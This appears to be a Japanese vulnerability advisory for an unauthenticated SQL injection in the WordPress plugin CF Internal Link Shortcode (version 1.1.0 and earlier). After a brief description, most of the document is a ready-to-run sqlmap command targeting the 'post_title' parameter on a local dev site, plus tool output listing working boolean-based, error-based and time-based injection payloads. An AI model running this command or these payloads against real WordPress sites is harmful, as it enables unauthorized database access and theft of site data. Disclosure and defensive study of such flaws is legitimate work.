
CF Internal Link Shortcode <= 1.1.0 - 未認証SQLインジェクション
CF Internal Link Shortcode <= 1.1.0 - 認証なしSQLインジェクション
WordPress用CF Internal Link Shortcodeプラグインは、1.1.0以前のすべてのバージョンにおいて、ユーザーが指定するパラメータのエスケープが不十分で、既存のSQLクエリの準備が十分でないため、'post_title'パラメータを介したSQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを付加し、データベースから機密情報を抽出することが可能になります。
python3 /tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/?cf_action=cfplsc_id_lookup&post_title=test' --text-only --dbms='MySQL ' -p post_title
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__H__
___ ___[(]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:51:48 /2025-01-10/
[14:51:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: post_title (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: cf_action=cfplsc_id_lookup&post_title=test' OR NOT 3808=3808#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 4623 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(4623=4623,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UaJb
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 1598 FROM (SELECT(SLEEP(5)))TDXA)-- qAaL
---
[14:51:48] [INFO] testing MySQL
[14:51:48] [INFO] confirming MySQL
[14:51:48] [WARNING] reflective value(s) found and filtering out
[14:51:48] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)